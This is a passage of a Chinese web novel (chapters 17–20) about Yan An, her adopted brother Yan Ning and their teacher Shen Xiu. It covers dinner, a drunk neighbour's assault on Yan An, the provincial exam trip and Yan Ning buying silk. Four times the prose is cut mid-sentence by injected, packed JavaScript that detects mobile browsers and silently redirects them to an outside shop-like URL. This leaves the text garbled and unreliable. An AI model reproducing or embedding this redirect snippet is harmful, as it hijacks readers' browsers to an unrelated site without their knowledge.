那时他心头便生出了一股异样，而此刻，那异样更深。 沈修如今二十有五，并非是那朦胧少年，对人事情愫，自认清明。 他清楚这异样从何而起，更明白自己到底动了何等心思。 可正是因为太过了然，才不敢轻易言明。 17.第十七章 晚饭有宴安晌午烙的饼，何氏熬得粥，一些腌制的小菜，还有半盘腊肉。 沈修留在宴家用饭。 松木四方小桌，四人各坐一边，本就是清贫人家，没有那般多讲究，何氏腿脚不便，常坐于炕边，沈修坐在上位，宴宁坐于他手边，而宴安则坐在他对面。 从前沈修一旦留于宴家用饭，宴安便极少夹菜，若有荤腥，她更是不碰。 沈修看在眼中，不曾说破，他知道自己缘何留下，每次所食便也不多，只是象征性用些罢了，若是开口，反倒叫人难堪。 今日又是如此，甚至还不如从前，宴安一落座便埋头喝粥，连那腌菜都未曾吃上一口。 然她并非是不舍，而是整个人都沉浸在方才那篇策论中，她此刻脑中皆是沈修的指导，一遍又一遍将他所言牢记在心，又想着那些生僻的字词，还有落笔时的要领，她虽然写得工整，字迹也干净，但还是由于执笔生疏，字形并不算好……总之，她想得太过专注，便只顾着低头喝粥。 直到一双夹着腊肉的筷子伸到面前，宴安才倏然抬眼，抽回神来。 宴宁将肉放在她碗中，“阿姐在想何事，怎一直出神？” 宴安笑了一下，颇有些不好意思地压声道：“在记你方才教我的那几个字……” “吃罢饭了再记，若怕记不住，夜里我再带阿姐练几回。”宴宁道。 宴安笑着点了点头。 想起方才桌案上，宴宁握着宴安的手，带她习字那一幕，沈修忽地也跟着笑了一下，“你们姐弟二人，真叫人羡慕。” 何氏正愁没有话说，闻言立刻便道：“可不是么！宁哥儿自由就黏安姐儿，当初在苏州，家里大人皆有事做，顾不得他们，那便是大的帮忙带小的，长姐如母，便是如此来的。” 何氏说着，还抬手比划，“安姐儿比他年长三岁，那时也就这般高，自己走路都摇晃，却已是会抱着宁哥儿在怀里哄，还一勺一勺给他喂饭。” 这些话是何氏随口胡诌，但宴宁从小缠宴安，这倒是真的。 然沈修不知这三人真实情况，只听何氏所言，心头压了许久的那丝微异，顷刻间便散去大半。 他不禁自嘲，许是他自幼家中清冷，并无兄弟姐妹，亲戚之间也极少走动，让他独处惯了，才会太过在意二人之间的分寸。 “他们年岁相差并不算多，可会打闹？” 沈修记得村学中，亦是有那年岁相仿的兄弟俩一道入学，堂间休息时，还会偶有打闹，引得他上前给断官司。 何氏连连摆手，“那可不会，别说打闹，连争执都从未有过，他俩皆是那懂事的孩子，从来都是互相让着对方……” 这一点确为实话。 哪怕最初彼此不熟悉，相处起来，两人之间也似那真正亲缘一般。 那时宴宁才六岁，瘦瘦小小，看着不过像个四岁的孩子，自从那昏迷中醒来，便不曾开口说话，何氏还当，这孩子是个哑巴，心里多少有些后悔，但到底还是心软，又舍不得撇下，还是养在身前，一个馒头掰成三瓣来吃。 似是一月之后，宴宁忽然开口，那第一句话，叫得就是阿姐。 何氏与宴安那日才知，原来宴宁并非哑巴，他会说话，只是不愿开口。 何氏那时就说，宴宁看着发闷，实则是个聪慧的孩子。 他心中不安，才不愿开口，见她与宴安待他的确亲厚，这才愿意与他们说话。 沈修不知这些，却也是能想到外间所传，何氏一人带着两个孩子回到晋州，那一路不知吃了多少苦，才能保得两个孩子周全。 还有宴安，她身为长姐，更似母亲，照顾祖母，又看护幼弟，小小年纪就撑起了这个家。 沈修心头微酸，抬眼看向宴安，见那温婉的面容上，还带着笑意，那酸涩感便愈发浓重。 “父母离开的早，阿婆带着我与阿弟相依为命，”宴安轻声说着，目光缓缓扫过何氏与宴宁。 三人似是在此刻，都朝对方看去，那目光中所包含的情绪，比之血缘至亲，还要令人动容。 沈修发觉，他自记事以来，他从未有过这般感受。 他竟生出了些许的羡慕。 在他的记忆里，年幼时父亲便很少居家，时常宿在山间，而母亲性本喜静，自父亲病逝后，更不愿与人往来。 其实沈修心中清楚，母亲并非妒忌旁人阖家美满，而是见不得那亲人团聚，满堂笑语的场景，那会刺痛母亲，让她念起父亲。 沈修什么也未说，只是垂下眼来，宴安觉察到他似是有些不愉，便恍然想起一事，遂出声问道：“那些安神香丸，伯母用着可还合适？” 沈修神情微顿，那日他将香丸拿回家中。 沈母得知是宴安所赠，并未动手去接，而是差婢女接过，连看都未看一眼，只慢悠悠地说道：“是个有心的姑娘，很会猜人心思，讨人欢心，怪不得你总往那宴家跑。” 沈修那时道：“去宴家是因为惜才，那宴宁极为聪慧，若不教之，实为可惜。” 沈母不再言语，只是扯了唇角轻笑了声。 沈修自是不能将此事道出，只用那惯有的温声回道：“家母喜欢。” 宴安闻言露出脸上笑意更深，忙又道：“那我过几日再做一些？” 沈修缓缓颔首，朝她温笑，“好。” 用罢晚饭，送走了沈修，宴安见天色尚未黑透，便回到房中取钱。 宴宁走上前道：“阿姐是要作何去？” 宴安道：“去寻一趟王婶，托满姐儿回头再带些安神的草药回来。” 宴宁已是猜到几分，可听到宴安如此说，眉心还是不由蹙起，“我知阿姐出自好意，可若沈伯母不喜此物呢？” 宴安手上动作一顿，诧异抬眼，“方才饭桌上，沈先生不是说了，沈伯母喜欢么？” 宴安也知沈家家境，所以在做这些香丸时，尽可能挑些好的药草来用，那些药草虽非珍品，可对于宴家而言，已是一笔不小的费用。 何氏也知此事，但一想到沈修对宴家的帮助，便也觉得此事上不该吝惜。 “我方才见沈先生回话时，神情略有些迟疑，便觉得兴许沈伯母不喜，只是先生不愿言明……”若此事无关宴安，宴宁也不会开这个口，可那香丸做起来极费精力，他不愿阿姐白费功夫。 宴安不疑宴宁，知他能这般说，定是有所觉察，她默了片刻，似也意识到了什么，然她并未放弃，而是垂眸继续翻那铜板，“沈先生既未言明，我便全当不知。” 她将取出的铜板放入布袋里，将袋口用力拉紧，抬眼又露出笑容，“送不送是我的心意，至于喜不喜……我也做不了主，总归沈先生待咱们有恩情，这恩情只要在，我便得还。” 宴宁抬手握住宴安手臂，向前一步低声道：“欠沈先生的是我，宴家受他恩惠也皆因我而起，日后我自会偿还，实不该让阿姐代我辛劳。” “傻呀。”宴安轻笑出声，刚一抬手，宴宁立即低头俯身，将脑袋便朝她掌心凑去。 宴安愣了一下，抬眼又看炕上，见何氏在闭目养神，便笑着在他发顶上轻轻揉了两下，“一家人还说两家话？你与我分得那般清楚做什么，下次若再叫我听见，晚饭便不许你吃了。” 她嘴上如此说，脸上的笑容却是更深。 宴宁也弯了唇角，只是见她拿着那袋铜板往屋外走，那笑意便渐渐淡去。 春末，村学彻底修缮妥当。 每日晨起，宴宁便随沈修一道前往村学，他一面温书备考，一面帮沈先生照看蒙童，也算是半师半徒。 此番县试虽无功名，却是秋闱的风向，往年榜首，十有七八能过解试，尤其他师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580737|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从沈修，到时中个解元，也并非妄想。 村里人待宴家的目光变得不同，从前还笑宴家不自量力，放着农活不做，竟学人家读书，如今见宴宁日日出入村学，未见出何力气就能赚得米面银钱，又开始羡慕起来，也将自家孩子往那村学里送。 不过才三两月时间，村学便已招近五十人。 这当中自也有那吃不得读书苦的，读上半月，便嚷着要放牛割草，也有父母见孩子抓耳挠腮背不过那诗文，便觉不是读书的料，带回去继续喂鸡。 沈修秉承着强扭的瓜不甜，便不曾强留，如此一来，到了夏至，村学便剩至三十余人。 从柳河村到村学，不过一炷香的工夫，宴安便不再给宴宁提前备饭，每日到了快用午膳时，便提着热乎乎的饭菜，亲自跑上一趟，等到了村学，饭菜也还温着。 村学外有条溪流，总能遇见同村里洗衣的妇人。 有时候送完饭菜回去的路上，宴安便会与之闲聊几句。 这一聊，她方得知，沈修如今已是这六村的香饽饽，但凡家中有那未嫁的女儿，无不将目光落在沈修身上，年岁家世探个清楚不说，连他每日要吃几碗饭都得问个明白。 这日，就有那相熟些妇人，与宴安说起此事，“你可知那沈先生为何一直未曾娶妻？” 宴安摇了摇头，她的确不知，且也一直在心中好奇，遂将那提篮放在腿边，坐在一块石头上听。 那妇人也往她身前凑了凑，压着声说：“就沈先生这人品样貌，这十里八乡，哪个后生比得上他？” 说至此，那妇人忽然一顿，朝她笑道：“哦，还有你家宁哥儿呢！” 听人夸宴宁，宴安心头不免自豪，也掩唇跟着笑了起来。 那妇人又接着说回沈修，“沈先生是好，可他母亲不成，从前上门说亲的就不再少数，偏她一个都瞧不上，模样好的她嫌人家不会读书，那会读书的，又嫌模样配不上，这两样都成的，可又嫌弃人家出身，可若是样样都好的，人家女方哪肯嫁到村子里来。” 宴安直到此刻，才终是明白过来，缘何沈修这般好，却迟迟未成家，原这当中是那沈母的缘故。 也难怪，毕竟沈母当初就是那样样顶好的，却是愿意嫁给沈父，从那县里住进了村中。 可并非人人皆如她一样，若再选个沈母出来，的确是难事。 宴安回到家中，王婶正好在院里与何氏说话。 王婶一看到宴安进院子，就笑着说道：“我家满姐儿人家肯定瞧不上，但我看咱安姐儿可以！” 宴安一时没反应过来，怔懵地问王婶，“婶子在说什么呢，何事我可以啊？” 王婶笑而不语，只看何氏，何氏却是睨了宴安一眼，摆手道：“儿孙自有儿孙福，我可管不了！” 王婶着急，脱口而出道：“可不能不管，咱安姐儿可都双十了。” 宴安听出两人在说何事，低头不再言语，提着篮子去了灶房。 何氏也不再开口，只看着她背影叹气。 王婶似是觉出了什么，便话锋一转，又说起宴宁，“那咱宁哥儿呢？” 自宴宁做了那县试案首后，便有人上门探口风，何氏也问过宴宁，宴宁只道，他心思都在科举上。 “这再过两月便是解试，翻过年开春了又是省试，宁哥儿平日里又要在村学教书，没有那个工夫啊。”何氏道。 “这倒是。”王婶笑道，“咱宁哥儿这般聪慧，万一日后高中，咱们这小地方的，可就配不得了。” 何氏也跟着笑了，“你啊，这话可不兴去外面说。” 王婶给了她一个明白的眼神，又拿手肘碰她，“到时，可不能忘了他王婶，若不是我家鹅蛋，咱宁哥儿能长这么俊，长这么高，长这么聪明？” “对对对！”何氏连声应道，“你说得对！” 18.第十八章 夏至，最是燥热，何氏在屋只着单衣，连小衣都不曾穿了，手中的蒲扇还不住摇晃。 宴安白日若不出门，也会如此，总归这家中只祖孙二人，宴宁在那村学，到了日落才归家，那时宴安已是将衣衫穿好。 这日清早，宴宁已是离了家中，宴安洗罢碗筷，已是出了一层细汗，又要去收拾灶房，索性便回屋将那外裳脱去，只留了一件贴身的小衣与薄薄的内衫。 她刚出屋，就听有人叩门。 往常能在这个时辰寻过来的，也就只有王婶了，且每次王婶敲门，都是头一声轻，后两声重，这是她多年的习惯，宴安早已熟悉了。 她便未想那么多，折回屋中顺手取了外裳披在身上，一面拢着衣襟，一面系着腰间带子，匆匆上前开门。 知是王婶，但抽门栓时，宴安还是随口问了一句，“何人啊？” 门外无声，宴安微顿，莫名生出股不安的情绪，她正要将那抽至一半的门栓再插回去，便见面前木门，被人从外向内猛然撞开。 宴安吓了一跳，再抬眼看，却见来人不是王婶，竟是赵伯。 那赵伯满身皆是酒气，眯眼直朝宴安扑来，且一面扑，还一面嚷着，“翠娘啊，我对不住你，我不该打你……我昨夜实在喝醉才失了理智……你就叫我进家门吧，我错了……” “赵伯？” 宴安只是愣了一瞬，便赶忙抬手推他，他却如死猪一般，根本推不动，整个人都往宴安身上贴，甚至上手揽住了宴安的腰，将脸使劲儿朝她怀中凑。 “你做什么？别、别过来！”宴安又惊又惧，急得扬声便喊，“阿婆！阿婆！” 此刻何氏正在炕上，听到外间响动，也是心头一惊，却因腿脚不便，无法立即出屋。 宴安一面挣扎推拒，一面又高声叫着王婶！ 王婶此时正在院中，听到隔壁传来叫声，大声应了一句，连忙跑出院子就朝朝这边赶来。 那赵伯听到身后传来声响，立即将宴安松开，摇摇晃晃朝后退去，还抬手指着她咧嘴一笑，“哎？满姐儿……嗝儿……你、你怎回来了？” 王婶三五步跑至宴家门前，瞧见这一幕，当即便朝大腿面上重重拍去，“哎呦！你个老不死的东西啊！” 随后，她便不由分说，上去就拧赵伯耳朵，一把将他拽出门外，那赵伯脚下不稳，踉跄着一头栽倒在地，王婶全然不顾，只赶忙将那院门合上。 宴安已是从惊惧中回过神来，她也顾不得其他，立即将那门栓用力插上，随后连连朝后退开。 门外，赵伯与王婶又开始互相责骂，明明只与她一门之隔，她却觉得那骂声好似瞬间飘去了千里，整个耳中只剩下那一阵又一阵的嗡鸣。 “安姐儿，出何事了……啊？” 身后祖母的声音将宴安思绪骤然拉回，她匀着呼吸，慢慢转过身来。 看到何氏未曾拄拐，摇摇晃晃正吃力地朝她迈步，那股浓烈的酸意再度涌上鼻根，宴安深吸一口气，强压着那情绪，快步上前将祖母扶住，“阿婆当心。” 何氏颤巍巍握住了宴安的手。 正值炎热，她的手却异常冰凉，何氏心觉不对，又一次出声问她，“方才，出了何事？” 宴安唇角强扯出一个弧度，朝何氏摇了摇头，“没事，是赵伯敲错门了，将我吓了一跳。” 说着，她又一次用力匀了一个呼吸，语气较方才似更为轻松，“王婶很快便过来将他带回去了。” “那便好，那便好。”何氏也跟着舒了口气，“你叫得那般急，阿婆还当是出了何事呢！” 宴安没再言语，只轻轻笑了笑。 将何氏重新扶回屋中，宴安说身上汗太多，便要去灶房烧水擦洗。 待她来到灶房中，将门合上的瞬间，她只觉胃里翻江倒海，扯着喉头一阵阵抽痛，几乎便要呕吐而出。 想起赵伯身上那浓烈的酒臭与汗馊，还有那一看便让人难受的神情，她便猛地顿下身，忍不住干呕了几声，然什么也未曾吐出，只有那眼泪混着冷汗在不住往下落去。 宴安在灶房待了许久，她将自己从头到脚不知擦洗了多少遍，又用皂荚将换下的衣衫里里外外洗了无数次，洗到手掌发红，指尖发白起皱，才终是作罢。 晨起的事，宴安没有同任何人说，她只在心底一遍遍告诉自己，只是赵伯酒醉后寻错了门，认错了人。 她没有必要告诉阿婆，叫她一把岁数替自己操心。 也没有必要与宴宁说，眼看入秋便是解试，不该叫他分心。 且王婶待宴家这般好，她不能也不该将此事太过在意，这当真就……只是个意外。 晌午快至午饭时，宴安提着竹篮去村学送饭。 宴宁见了她，眉心倏然蹙起，“阿姐哭过？” 宴安明明出门前照过铜镜，并未发觉有何异样，没想却是叫宴宁一眼看出，她低头笑了一下，“生火时熏了眼睛，已经不碍事了。” 宴宁俯身凑上前来，细细盯着她那双眼睛看，许是太过心急，他并未意识到两人之间距离过近，近到宴安能感觉到他的气息就落在她鼻尖上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583627|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴安倏然想起那满嘴酒气，朝她扑来的赵伯，一丝惊惧从眸中闪过，下意识便连忙朝后退了一步。 然她很快又反应过来，眼前之人是宴宁，并非是那赵伯。 宴安强压住那心头余悸，故作轻松地嗔了他一眼，催道：“快吃饭，阿婆还在家等我呢！” 宴宁看得出来，宴安有事瞒他，可他也知道，宴安若不想说，他问不出来。 宴安回到家中，王婶正与何氏在屋中说话。 看到王婶，宴安的脚步慢了下来。 何氏招呼她上前，满脸笑意，“你瞧瞧，你王婶带了多少东西！” 松木桌上的竹篮里，放着十颗鹅蛋，那竹篮外，还有一小坛酱菜，和那用纸包着的莲子心和金银花。 “这、这都是满姐儿月初回来时带的，说这莲子心虽苦，若能泡水喝，有那清热祛火之效。”王婶搓了搓手，脸上虽是在笑，但那眼神明显多了丝不安。 “我让你王婶带回去，她还偏不愿，非要等你回来。”何氏摇头道。 王婶笑了一下，站起身道：“我家那不争气的，今晨吓了安姐儿，我实在过意不去。” 宴安一直未曾开口，目光却不离王婶，她看到王婶手背上多了抓痕，脖颈处似也隐隐有那指印，便知今晨那两人不光是有了争吵，还又动了手脚。 “没事的王婶。”宴安挤出一丝笑意，就如从前那般，上前挽住她手臂，“我都多大人了，还能被吓着嘛。” 王婶见她神色并无异样，似松了口气，也跟着笑了起来，“那便好，行，我就先回去了，你与你阿婆尝尝我腌的酱菜，可好吃了！” 宴安笑着应了一声，便送王婶出门。 两人来到院中，王婶慢慢停住脚步，朝身后屋中看了眼何氏，见她并未朝外看来，这才压声低道：“好孩子，你与婶子说实话，那狗东西今日可曾、可曾……” 面对宴安，那些话她实在说不出口。 宴安却是笑道：“婶子放心，赵伯就是酒醉糊涂了，将我当成了满姐儿，过来要与我说话，还未上前呢，就被你一把拽出去了。” 王婶见她如此说，终是彻底放下心来，她不住拍着心口，连连说道：“好好好，那便好！不不不……我是说，没吓着你就好！” 然紧接着，她又将声音压得更低，狠狠咬牙道：“好安姐儿，婶子可不是怪你，婶子只是提醒你，往后不管出了何事，那狗东西若再来叫门，哪怕他要死在外面，你也别开,你放心，不管是满姐儿，还是我王翠华，我们绝无二话！” 19.第十九章 村学散堂后，宴宁回到家中，宴安生怕他觉出不对来，便一见他就笑，招呼他快些洗手进屋吃饭。 宴宁看着阿姐脸上笑意，眼底那郁色更重。 “这是你王婶送来的花茶，清火的，你快尝尝。”何氏说道。 宴宁坐下，拿起杯盏喝了一口，“王婶今日来了？” “王婶哪日不过来？”宴安接了话，又对何氏道，“好了阿婆，快些吃饭罢。” 何氏以为宴安是怕她唠叨，便不再言语，低头吃饭。 宴宁却忽然问道：“好端端她为何送花茶过来？” 何氏原本就想说，经他这般一问，便忍不住了，“早晨你走后，那赵止呢，还送了十个鹅蛋，酱菜，莲子心……”” “为何送这么多东西？”宴宁眉心倏然蹙起。 不等何氏开口，宴安先一步道：“没什么事，就是早上赵伯喝醉了，又敲错了门。” 似是害怕宴宁多想，宴安顿了一下，又接着道：“他喝的醉醺醺的，路都站不稳，被王婶拽了一下，直接就倒在咱院门口了。” “他可有伤到你？”宴宁问道。 宴安一面剥鹅蛋，一面轻笑着摇头，“就是吓了一跳，怎会伤到呢？” 说着，她将剥好的鹅蛋放入宴宁碗中，“放心吧，我没事儿的。” “若无事，王婶怎会送这么多东西过来？”宴宁的话，叫何氏也掀了眼皮，心头冷不丁顿了一拍。 宴安觉察两人目光都朝她投来，那正要再取鹅蛋的手也跟着顿了一下，然很快便恢复常色，拿起鹅蛋继续剥皮，声音轻快道：“王婶见我受惊，心里过意不去，再说……许是因为满姐儿喜事将近，心头松快，出手就更大方了呗。” “喜事将近？”何氏原本心中忐忑，听到她这句话，立即便被分了注意。 “可不是！”宴安将剥好的鹅蛋，放入何氏碗中，“我还是前日里听村头王婶说的，好像是要同县里的表兄说亲呢。” “哎？”何氏撇嘴，“这么大的喜事，你王婶怎地不同我说？” 宴安知道祖母这是心头不快了，毕竟两家关系走得这般近，儿女的婚事，自得是最先说予对方听才是。 “可能还没拍下板，待过几日事情彻底定下，王婶怎么都会与咱们说的！”宴安笑着哄何氏。 而身侧已是久未言语的宴宁，忽然拿起一颗鹅蛋，慢慢剥起皮来，声音极轻，似自言自语般道：“阿姐，我会考中的，一定会，待有朝一日，我高中在榜，便无人敢再欺负于你，而我宴家……也不需要再欠何人的恩。” 宴安与何氏皆是一顿，抬眼看向宴宁。 他脸上带着温笑，将手中剥好的鹅蛋，放入宴安碗中，再开口时，语气乖巧到好似儿时，“阿姐，吃饭了。” 宴安笑着应一声，连忙垂眼不再看他。 她低头吃饭，将鼻根的酸意与温热的粥，一并送入喉中。 他了解她，她又何尝不是，她知道他定是看出了什么，但也理解她缘何不说，这才没有在阿婆面前将事点破。 若是点破，两家往后难以相处，且宴家欠了王婶那般多，又当如何？ 定会有人嚼舌根，说宴家忘恩负义，儿郎高中，便寻借口有意疏远左邻右舍。 毕竟她今日未曾伤到，若再将实情传出，最终遭受污言碎语的还是她。 宴安太过清楚，遂才只得将此事咽下。 八月中旬便是解试，宴宁得提前三日赶往州城贡院，投状，纳保，领牒，三者若缺一样，便不得入闱应考。 从柳河村到州城贡院，脚程少说也得三日，且八月早晚渐凉，路上不眠不休，只为赶路，每至此时，总有那寒门学子，裹着单衣奔走百里，未入贡院，先已染了寒疾，纵是高烧昏沉，也得咬牙坚持。 宴安与何氏盘算，若雇驴车，可省下一日，宴宁路上也不至于那般辛苦。 若从前，宴家自然是雇不起驴车，可自宴宁去村学帮忙教书以来，每月皆能攒下银钱，足以付那往返费用。 然不等宴安去寻人雇车，沈修便来到宴家，说已是将马车与住宿皆安排妥当，到时还会亲自陪同宴宁赴州城应考。 宴家欠沈修已是太多，宴安实在不敢应下，“多亏先生在里正面前推举，宁哥儿才有机会在村学教书，这几月我们已是攒足了银钱，此番便不该再拖累先生。” 沈修似是猜到宴安会拒，他唇角微弯，温声解释，“我恰有故人在州学直讲，最擅策论，前几日与我来信，说今秋解试在即，问我可识何得俊才，邀去他家中论策。” 沈修说着，又朝宴宁看去，“近一年来，你策论多有精进，我便想带你一同前去，若你愿意，白日可论策，夜里便与我一道留宿在他家中。” 宴安终是明白，沈修的安排远比她想象中更为深远。 他惜的是宴宁之才，若再推拒，便是白白浪费了求学的机会。 话已至此，宴安不敢轻易再拒，便侧眸朝宴宁看去。 宴宁闻言，不见犹豫，而是退后一步，拱手再度恭敬朝沈修一揖，“多谢先生大恩。” 沈修缓缓颔首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590568|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，上前将他虚扶起身。 那日宴安将安神香丸送予沈修，沈修欣然接下，回去后便未曾再给沈母，而是留于房中，夜里入睡前熏了一颗。 那晚，沈修睡得极沉，这是自第二次殿试落榜之后，他睡得最安稳的一次。 解试考了三日，第三日申时一过，交卷离场。 有的垂头丧气，有的志得意满，然宴宁一如既往，脸上神色淡然，看不出是喜是忧，唯有与人相见，才会弯唇浅笑。 沈修那位友人还笑言，两人怪不得是师生，文采皆是斐然不说，连那言行举止都如此相似。 马车要明早出发，此刻天色尚早，沈修便带宴宁来街上逛书肆。 晋州虽非京城，但一到解试之年，四方书商云集，各处街巷不论书肆，还是摊贩，皆在售书，且各式各样书册皆备。 沈修与宴宁一上街头，便引来行人侧目，到底是州城，风气更为开化，有那胆大的女子，立于楼头，朝两人掷花。 沈修从前也有过经历，只是微微侧身，笑而不语，宴宁却是头一次，在那花掠过肩头时，眼底倏然一沉，猛地抬眼朝那来人看去。 那女子本是在嬉笑，被他这一眼看得心头一凛，忙将手抽了回去。 两人来到街角一家书肆，那书肆老板见这般清俊两个儿郎进屋店，眼珠子一转，从暗格取出一卷无名的书册，“郎君可要看看这个？” 宴宁问道：“此为何书？” 那老板笑眯眯道：“这可是宫中摹本，整条街只我家才有，这上每幅图都栩栩如生，那叫一个活色生……” “香”字还未出口，便见身后一旁沈修脸色骤变，平日里那温和模样瞬间不见，低声斥道：“收回去！” 那老板慌忙将书藏入袖中，连连作揖。 沈修拂袖而出，脸上直到进了第二家书肆，那脸上似还带着一丝愠怒。 宴宁明白过来，此为何书了。 若他从前未曾看过，今日定会觉奇怪，可他看过，便能猜出。 由此可见，沈修方才反应如此之烈，不是因为不知，而是因为太知。 既知，便是阅过。 可既是阅过，又为何要装作深恶痛绝？ 宴宁侧眸朝沈修看去，此刻他脸色已是恢复如常，带着淡淡温笑，与那老板说着新到的书册。 良久后，宴宁敛眸轻嗤一声。 那书中所画，人人皆知，却偏要装作不知，人人皆做，却人前骂得最凶。 可若此事真是那般不该，这世间之人，怕早已绝了。 20.第二十章 正所谓书贵如金，纵是沈修家底殷实，来到这州城书肆中，也不敢随意采买，这些书纸张精细，字迹清晰，且皆是村县难觅之物，沈修不过挑了一册诗集，两卷政论，竟已是要价二十贯。 沈修正与那掌柜的低声议价，宴宁便在一旁默默翻书。 他心知自己买不起，索性就趁这功夫，将书卷逐字细读，他向来记忆绝佳，但凡三遍之后，便可一字不差地熟记于心。 沈修教他三载，自是清楚明白，故而今日才特地将他带来。 两人议价之时，沈修抬眼朝宴宁看去，见他眉心微蹙，正捧着一卷策论看，便又让掌柜的与他介绍书册。 两人从书肆离开时，已是一个时辰之后。 沈修满共买了五册书卷，宴宁则将那架上最新到的几卷策论，翻看了个遍，其中三册已然默记于心，另有两册，也已悟出其中精要。 其实此番外出，宴安备了五百文给他，这些钱在州城书肆，这半册新卷都买不到，但对宴家来说，这五百文绝不算少，要知宴宁教书一月，也才刚足二百文，这五百已是他两个半月分文不花，才能攒下的银钱。 原本宴安与何氏商议，此番拿出三百给他，可临走那日，宴安咬了咬牙，又将二百文装进箱中。 “你难得去一次州城，若见到什么喜欢的物件，不妨略买一些，也莫要太过节省。” 宴安也知，太过贵重之物，这些钱自是不够，可若有些稀奇的小玩意儿，或是想饱口腹之欲，也是足以。 书肆不远处，有家茶楼。 沈修带着宴宁又来茶楼小坐，然那斜对面有家绸缎庄，引了宴宁目光。 他起身拱手道：“学生想去布庄挑匹布于家中，烦请先生在此稍候片刻。” 沈修心知他孝顺，往外跑一趟还不忘给家中采买，颔首应允。 此时已是接近傍晚，绸缎庄里客人不多，掌柜的看到宴宁走进店，忙笑着迎人，那目光已是迅速将其打量过一番，看这穿着，便知是囊中几何。 来着皆是客，州城的掌柜最是会做生意，面上丝毫不显，只躬身笑道：“敢问郎君，是要成衣，还是布匹？” 宴宁道：“布匹，要适宜女眷的细软料子。” 掌柜的立即明白，这是要选布料做那贴身衣物，而非外衫。 掌柜的将他带到桌旁，取来两块布料给他，“这是本店入秋刚到的素绢，还有细纻。” 这细纻宴宁不算陌生，在院中那衣绳上已是见过无数次，只是每次看到，都不敢将目光久留，只是匆匆一眼瞥过便要敛眸，更遑论伸手触之。 此刻他指腹从那细纻上缓缓抚过，细软轻柔，别说比之家中粗布麻衣，便是阿姐特地给他做的这两身细布衣衫，也要舒服甚多，怪不得那小衣阿姐穿了多年，缝缝补补，就是舍不得丢。 掌柜的又将另一块素绢朝他手边伸了伸，“郎君再试试这个。” 宴宁抬手轻触，这一触碰，方能即刻对比开来。 比起那细纻布，这素绢滑如凝脂，凉似春水，明显更胜一筹。 掌柜的看他神色，便知他也是心仪此布，又笑着低声说道：“若用素绢做那贴身物件，轻薄丝滑，四季皆宜，小娘子们最是喜爱。” 贴身二字一出，宴宁指尖微顿，面色虽无异样，喉中却是一紧，心头也起了一丝微异。 他忙将手收回袖中，语气却依旧淡淡，“若只半匹，需多少文？” 掌柜道：“二百文。” 宴宁盯着那素绢，没有立即应声，掌柜却以为他是被这价钱吓到，忙又指着那细纻布道，“若是此布，半匹只需一百文，虽说不如素绢，可比起寻常粗麻棉布，也是极为上等的料子，许多娘子……” “可还有更好的？”宴宁忽然出声，将掌柜的话音打断。 掌柜的闻言，愣了一下，然很快便反应过来，忙又从柜中取出一块料子，拿到宴宁面前，轻轻抖开，“若说再好的，那便是这素罗，无需我多言，郎君上手一试便知。” 比之前两种布料，这素罗还未碰触，便是看着色泽，已是能够猜出该是何等光滑。 宴宁抬手，指腹从那素罗上缓缓抚过，竟好似未触何物，只从一缕薄烟穿过一般。 他心头一颤，几乎是下意识又想起了宴安，若她能用此布做成小衣……然不等那念头再往深处去想，他双眉骤蹙，立即将手抽回，缩在那袖中握成了拳，一股燥热被他强行压住。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595512|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 掌柜的见他似有几分仓皇，便以为他是觉出这素罗精贵，不敢再摸，正要将布料收回，便听宴宁出声问道：“这素罗半匹，是何价？” 掌柜随口道：“四百文。” 宴宁又是默了一瞬，再开口时，嗓音里透着几分喑哑，“可会……透？” 话音一出，宴宁耳根有些发热，目光也移去了别处。 掌柜以为，又是那舍不得银钱之人，偏要挑那东西的毛病来做借口，便摇头轻笑，“郎君不知，这罗布虽是轻薄，却是织得极为密实，远看朦胧，近扶柔滑，贴身而穿，最为妥帖，我这开店四十余年，还从未听过有何不好之处！” 宴宁颔首，喉结微动，“好，那便半匹素罗。” “是、是素罗……还是素绢啊？”掌柜动作一顿，怕自己听错，回头又问一遍。 